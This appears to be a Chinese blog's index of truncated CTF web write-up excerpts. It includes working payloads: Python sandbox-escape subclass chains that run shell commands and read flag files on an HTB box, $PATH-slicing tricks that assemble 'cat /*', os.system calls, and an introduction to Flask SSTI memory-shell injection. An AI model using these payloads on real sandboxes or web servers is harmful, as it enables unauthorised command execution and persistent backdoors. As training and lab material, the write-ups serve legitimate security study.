Basectf2024-web
数学大师经典request脚本题 正则ai就行 注意点就是把×替换为* ÷替换为// 并且开启session cookie 因为判断连续正确依靠cookie 12345678910111213141516171819202122import reimport requestsurl = "http://gz.imxbt.cn:20429/"sess=requests.session()sess.cookies.set('PHPSESSID', 'd5nu0bl94l91naj2i7heme44vu')response = sess.get(url)count = 0for i in range(50): match = re.search(r'(\d+)\s*([+\-\*/×÷])\s*(\d+)', response.text) a, op, b = match.groups() if op == '×': op =...
LitCTF 2025 复现
[LitCTF 2025]easy_fileF12源代码 1234567891011121314151617181920212223242526<script> const particlesContainer = document.getElementById('particles'); for (let i = 0; i < 30; i++) { const particle = document.createElement('div'); particle.className = 'particle'; particle.style.width = `${Math.random() * 20 + 5}px`; particle.style.height = particle.style.width; particle.style.left = `${Math.random()...
HTB-wp
HTB-codeusernmap扫描 nmap 10.10.11.62 -sV -A 发现开放了5000端口 访问发现是个在线执行python代码的网页 可以进行命令执行 print(''.__class__.__base__.__subclasses__()[317]('ls /',shell=True,stdout=-1).communicate()[0].strip()) 然后直接在上层目录读到user.txt print(''.__class__.__base__.__subclasses__()[317]('cat ../user.txt',shell=True,stdout=-1).communicate()[0].strip()) root命令执行 123print(''.__class__.__base__.__subclasses__()[317]('ls...
2025年夏季个人挑战赛PolarCTF-WEB
ez_checkjava题暂时不会 狗黑子的变量考点:截取和拼接$PATH中的字符构造命令 构造方法: 12$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin$PATJl/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 构造ls这个命令的结果 1234${PATH:5:1} //l${PATH:2:1} //s${PATH:5:1}${PATH:2:1} //ls//第一个字母代表PATH里的第几个字符,从0开始,和数组一样 第二个是代表截取几个字符 dirsearch扫描 扫出admin.php 可以看到PATH的内容 于是乎就开始拼接要被替换的字母 ${PATH:8;1}at /* cat /* 狗黑子的隐藏进去只有一个刷新按钮 dirsearch也没有看出东西 F12习惯 看到cmd参数 执行命令...
web刷题——持续更新
[第五空间 2021]PNG图片转换器有源码,ruby写的,不是常见的语言首先联想cve,先看源码。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849require 'sinatra'require 'digest'require 'base64'get '/' do open("./view/index.html", 'r').read()endget '/upload' do open("./view/upload.html", 'r').read()endpost '/upload' do unless params[:file] && params[:file][:tempfile] &&...
python沙箱逃逸
前言Q1:什么是沙箱?沙箱是一种安全机制,在限制的环境中运行不受信任的代码。python中沙箱主要用于限制python,防止执行命令或者进行一些危险的行为。 Q2:什么是沙箱绕过?就是怎么绕过沙箱对我们的限制,拿到危险函数,最终来执行命令的过程。 目的对于python沙箱绕过,我们最终可能要实现的想法有如下: ·绕过限制 执行命令 ·写文件到指定位置 绕过方式import方式的绕过 import xxx from xxx import * __import__('xxx') 使用其他的方式来导入包名12345678910__import__('os').__dict__["system"]('whoami')#python2 and python3__import__(''.decode.('base64')).getoutput('pwd')#python2import importlibx =...
栈帧逃逸
初学栈帧逃逸栈帧介绍在 Python 中,栈帧(Stack Frame) 是函数调用时在内存中分配的一个数据结构,用于存储函数的运行信息(如局部变量、参数、返回地址等)。它是 Python 解释器管理函数调用和执行流程的核心机制之一,尤其在递归、异常处理和调试时非常重要。 栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。 栈帧运作原理123456789def foo(a, b): c = a + b bar(c)def bar(x): y = x * 2 print(y)foo(3, 4) 栈帧变化: 1.调用 foo(3, 4):创建 foo 函数的栈帧,压入调用栈。foo 函数的局部变量表包含 a=3, b=4。 2.执行 c = a + b:在 foo 的操作数栈上计算 a + b,将结果 7...
CBC字节翻转攻击
CBC加密和解密过程 加密过程CBC加密流程: 准备 将明文按固定长度(通常是块大小,比如AES是128位)分块。 如果最后一块不足长度,需要填充(padding)。 选一个初始化向量(IV),它的长度跟分块大小相同。 加密每一块(第 i 块) 第1步:用当前明文块 PiP_iPi 和前一块密文(或IV)做异或(XOR)。 第一个块是$$C_0=Ek(P0⊕IV)$$ 第2步:将异或后的结果送入加密算法(E_k)(比如AES)加密,得到当前块的密文 Ci。 第3步:当前的密文块 CiC_iCi 会作为下一块明文的XOR对象。 循环处理每一块,直到全部加密完成。 解密过程1解密过程刚好相反,第一组密文在解密之后与初始向量IV异或得到第一组明文。第二组密文解密之后和第一组密文异或得到第二组明文。也就是说,解密一组明文需要本组和前一组的密文。 特点加密算法的输入是上一个密文分组和下一个明文分组的异或 EXB模式和CBC模式 CBC字节翻转攻击CBC字节翻转攻击的核心原理是通过破坏一个比特的密文来篡改一个比特的明文。 $$由题目得...
浅谈python内存马
前言:想法来源于TGCTF的一道题 想具体学习下 内存马究竟是什么东西 Python内存马众所周知,python下有许多轻型框架,比如 flask Tornado pyramid等 每个框架都基本有其对应的内存马注入的方式 Flask内存马注入flask框架中使用 render_template_string() 进行渲染,但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现 python 内存马的注入。 老版flask内存马注入多存在ssti的场景中 如果想要在python中实现内存马 必须想是否能动态注册新路由 flask注册新路由用的是 app.route 实际调用的是add_url_ruel 注意:从下面一直到构造webshell 都是前言知识 为了让你更好理解 内存马的payloadadd_url_ruel介绍app.add_url_rule('/index/',endpoint='index',view_func=index) 三个参数: url:必须以/开头 endpoint:(站点) view_func:方法...
TGCTF2025-WEB WP
AAA偷渡阴平123456789<?php ...